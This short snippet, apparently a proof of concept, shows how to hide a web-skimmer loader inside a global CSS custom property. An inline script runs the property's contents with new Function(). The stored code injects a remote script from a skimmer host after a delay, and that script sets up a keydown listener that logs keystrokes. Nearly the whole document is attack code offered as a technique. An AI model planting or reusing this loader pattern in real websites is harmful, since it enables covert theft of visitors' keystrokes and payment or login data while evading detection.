Global Css file with Css variable to pull a skimmer.
:root {
--script: setTimeout(function()
{
var head=document.getElementById('test');
var script = document.createElement('script');
script.src="https://my.skimmer.com/js/web-skimmer/test2.js";
head.appendChild(script);
}, 2000);
}
This code can be embedded in another JavaScript. It executes the script in the CSS variable to the page.
<script type="text/javascript">
new Function(
getComputedStyle(document.documentElement)
?.getPropertyValue('--script')
)();
</script>
Inside the source file, we can go nuts! web-skimmer/test2.js
window.addEventListener('DOMContentLoaded', () => {
console.log('Skimmer in CSS executed');
document.documentElement.addEventListener('keydown',function(e){
console.log('Logging key from svg!');
console.log(e.keyCode);
});